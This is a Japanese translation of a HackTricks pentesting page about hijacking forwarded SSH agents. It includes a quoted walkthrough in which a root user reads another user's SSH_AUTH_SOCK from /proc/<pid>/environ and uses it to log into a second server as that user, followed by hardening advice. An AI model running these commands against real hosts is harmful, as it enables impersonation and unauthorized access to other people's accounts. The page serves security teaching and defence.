hacktricks/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
2023-07-07 23:42:27 +00:00

16 KiB
Raw Blame History

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥

抂芁

/etc/ssh_configたたは$HOME/.ssh/configの蚭定内に次のようなものが芋぀かった堎合、どのようなこずができるでしょうか

ForwardAgent yes

もしマシン内でroot暩限を持っおいる堎合、おそらく/tmpディレクトリ内で芋぀けるこずができる任意の゚ヌゞェントによっお䜜成されたssh接続にアクセスするこずができたす。

Bobのssh-agentの1぀を䜿甚しおBobになりすたしたす

SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

なぜこれが機胜するのか

倉数 SSH_AUTH_SOCK を蚭定するず、Bob のキヌにアクセスするこずができたす。これらのキヌはBobのssh接続で䜿甚されおいたす。その埌、圌の秘密鍵がただそこにある堎合通垞はそうである、それを䜿甚しお任意のホストにアクセスするこずができたす。

秘密鍵ぱヌゞェントのメモリに平文で保存されおいるため、Bobであっおも秘密鍵のパスワヌドを知らなくおも゚ヌゞェントにアクセスしお䜿甚するこずができるず思われたす。

もう䞀぀のオプションは、゚ヌゞェントの所有者であるナヌザヌずrootが゚ヌゞェントのメモリにアクセスしお秘密鍵を抜出できる可胜性があるずいうこずです。

詳しい説明ず攻撃手法

匕甚元: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

ForwardAgentが信頌できない堎合

パスワヌドなしでのSSHは、Unix系オペレヌティングシステムでの䜜業を非垞に簡単にしたす。ネットワヌクがチェヌンされたSSHセッション制限されたネットワヌクぞのアクセスなどを必芁ずする堎合、゚ヌゞェントの転送は非垞に圹立ちたす。゚ヌゞェントの転送を䜿甚するず、私はラップトップから開発サヌバヌに接続し、そこからさらに別のサヌバヌでsvnチェックアりトを実行するこずができたす。すべおのパスワヌドなしで、同時にプラむベヌトキヌをロヌカルワヌクステヌションで安党に保持したす。

しかし、これは危険です。クむックなりェブ怜玢で、䞭間ホストが信頌できる堎合にのみ安党であるず瀺す蚘事がいく぀か芋぀かりたす。しかし、なぜ危険なのかに぀いおの説明はほずんど芋぀かりたせん。

それがこの蚘事の目的です。しかし、たずは背景を説明したす。

パスワヌドなし認蚌の仕組み

通垞のモヌドで認蚌する際、SSHはパスワヌドを䜿甚しおあなたが自分自身であるこずを蚌明したす。サヌバヌは、このパスワヌドのハッシュずファむルに保存されおいるハッシュを比范し、ハッシュが䞀臎するこずを怜蚌しお、あなたを蚱可したす。

攻撃者がサヌバヌに送信されるパスワヌドを保護するために䜿甚される暗号化を砎るこずができれば、それを盗むこずができ、い぀でもあなたずしおログむンするこずができたす。攻撃者が䜕十䞇回もの詊行を行うこずが蚱される堎合、最終的にはあなたのパスワヌドを掚枬するこずができたす。

はるかに安党な認蚌方法は、パスワヌドなしでログむンする公開鍵認蚌です。公開鍵認蚌には、公開鍵ず秘密鍵のペアが必芁です。公開鍵は、秘密鍵でのみ埩号化できるメッセヌゞを暗号化したす。リモヌトコンピュヌタは、あなたに察しお秘密メッセヌゞを暗号化するために、あなたの公開鍵のコピヌを䜿甚したす。あなたは、秘密鍵を䜿甚しおメッセヌゞを埩号化し、メッセヌゞをリモヌトコンピュヌタに送信するこずで、あなたがあなたであるこずを蚌明したす。秘密鍵は垞にロヌカルコンピュヌタに安党に保管されおおり、攻撃から守られおいたす。

秘密鍵は貎重なものであり、保護する必芁があるため、デフォルトでは暗号化圢匏で保存されたす。残念ながら、これは䜿甚する前に暗号化のパスフレヌズを入力する必芁があるこずを意味したす。倚くの蚘事では、この䞍䟿さを避けるためにパスフレヌズのない暗号化されおいない秘密鍵を䜿甚するこずを提案しおいたす。これは悪い考えです。なぜなら、あなたのワヌクステヌションにアクセスできる人物理的なアクセス、盗難、たたはハッキングによるは、あなたの公開鍵で構成された任意のコンピュヌタに自由にアクセスできるからです。

OpenSSHには、ロヌカルワヌクステヌションで実行されるデヌモンであるssh-agentが含たれおいたす。これは、秘密鍵の埩号化されたコピヌをメモリに読み蟌みたす。したがっお、パスフレヌズを䞀床だけ入力する必芁がありたす。その埌、sshクラむアントが䜿甚できるロヌカルの゜ケットを提䟛したす。この゜ケットを䜿甚しお、リモヌトサヌバヌから送信された暗号化されたメッセヌゞを埩号化するようにsshクラむアントに芁求したす。あなたの秘密鍵は、パスワヌドを入力せずにsshを䜿甚するこずができるたたでありながら、ssh-agentプロセスのメモリに安党に保管されたす。

ForwardAgentの動䜜原理

倚くのタスクでは、sshセッションを「チェヌン」する必芁がありたす。先ほどの䟋を考えおみたしょう。私はワヌクステヌションから開発サヌバヌにssh接続したす。そこで、"svn+ssh"プロトコルを䜿甚しおsvnの曎新を行う必芁がありたす。共有サヌバヌに秘密鍵の平文コピヌを残しおおくのは愚かなこずなので、パスワヌド認蚌に制限されおしたいたす。ただし、ワヌクステヌションのssh蚭定で「ForwardAgent」を有効にした堎合、sshは組み蟌みのトンネリング機胜を䜿甚しお、開発サヌバヌ䞊に別の゜ケットを䜜成し、それをロヌカルワヌクステヌション䞊のssh-agent゜ケットにトンネルしたす。これにより、開発サヌバヌ䞊のsshクラむアントは、秘密鍵にアクセスするこずなく、svnサヌバヌに察しお「この秘密メッセヌゞを埩号化しおください」ずいう芁求を盎接ssh-agentに送信し、自身を認蚌したす。

なぜこれが危険なのか

単玔に蚀えば、䞭間サヌバヌでroot暩限を持぀人は、あなたのssh-agentを自由に䜿甚しお他のサヌバヌに認蚌するこずができたす。簡単なデモンストレヌションで、これがどれほど簡単に行われるかを瀺したす。ホスト名ずナヌザヌ名は、関係者を保護するために倉曎されおいたす。

私のラップトップでは、ssh-agentが実行されおおり、sshクラむアントプログラムず゜ケットを介しお通信しおいたす。この゜ケットぞのパスは、SSH_AUTH_SOCK環境倉数に保存されおいたす

mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners

ssh-addプログラムを䜿甚するず、゚ヌゞェント内のキヌを衚瀺および操䜜するこずができたす。

mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

私のラップトップの~/.ssh/configには「ForwardAgent yes」ず曞かれおいたす。したがっお、sshはロヌカル゜ケットずリモヌトサヌバヌ䞊のロヌカル゜ケットを接続するトンネルを䜜成したす。

mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990

たずえ私のキヌが「seattle」にむンストヌルされおいなくおも、sshクラむアントプログラムはただロヌカルマシンで実行されおいる゚ヌゞェントにアクセスするこずができたす。

seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

そうですね...誰を攻撃したしょうか

seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)

私はBobが奜きではありたせん。圌の゚ヌゞェント接続を芋぀けるために、圌のsshセッションの子プロセスを芋぀ける必芁がありたす。

seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)

以䞋は、実行䞭のプロセスの環境をrootが衚瀺するためのいく぀かの方法がありたす。Linuxでは、デヌタは/proc/<pid>/environに栌玍されおいたす。NULLで終わる文字列で保存されおいるため、NULLを改行に倉換するためにtrを䜿甚したす。

seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816

私は今、Bobのssh-agentを乗っ取るために必芁なすべおの情報を持っおいたす。

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)

もし特定のタヌゲットを持っおいる堎合は、盎接接続できるはずです。そうでない堎合は、プロセスリストを監芖したり、Bobの履歎ファむルをgrepしたりするだけで、たくさんの機䌚のタヌゲットが芋぀かるはずです。この堎合、私はBobがサヌバヌ「ボストン」ずいう名前の䞊に秘密のファむルをたくさん持っおいるこずを知っおいたす。

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob

私は「seattle」でのルヌト暩限を利甚しお「boston」のボブずしおアクセスするこずに成功したした。圌をクビにするためにそれを利甚できるず思いたす。

自己保護

ssh-agentにキヌを無期限に保存させないでください。OS Xでは、Keychainを非アクティブ時や画面がロックされた時にロックするように蚭定しおください。他のUnix系プラットフォヌムでは、ssh-agentに-tオプションを枡すこずで、キヌが秒埌に削陀されるようにしたす。

信頌できないホストに接続する際には、゚ヌゞェントフォワヌディングを有効にしないでください。幞いなこずに、~/.ssh/configの構文を䜿甚するず、これはかなり簡単です。

Host trustworthyhost
ForwardAgent yes
Host *
ForwardAgent no

おすすめの読み物

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥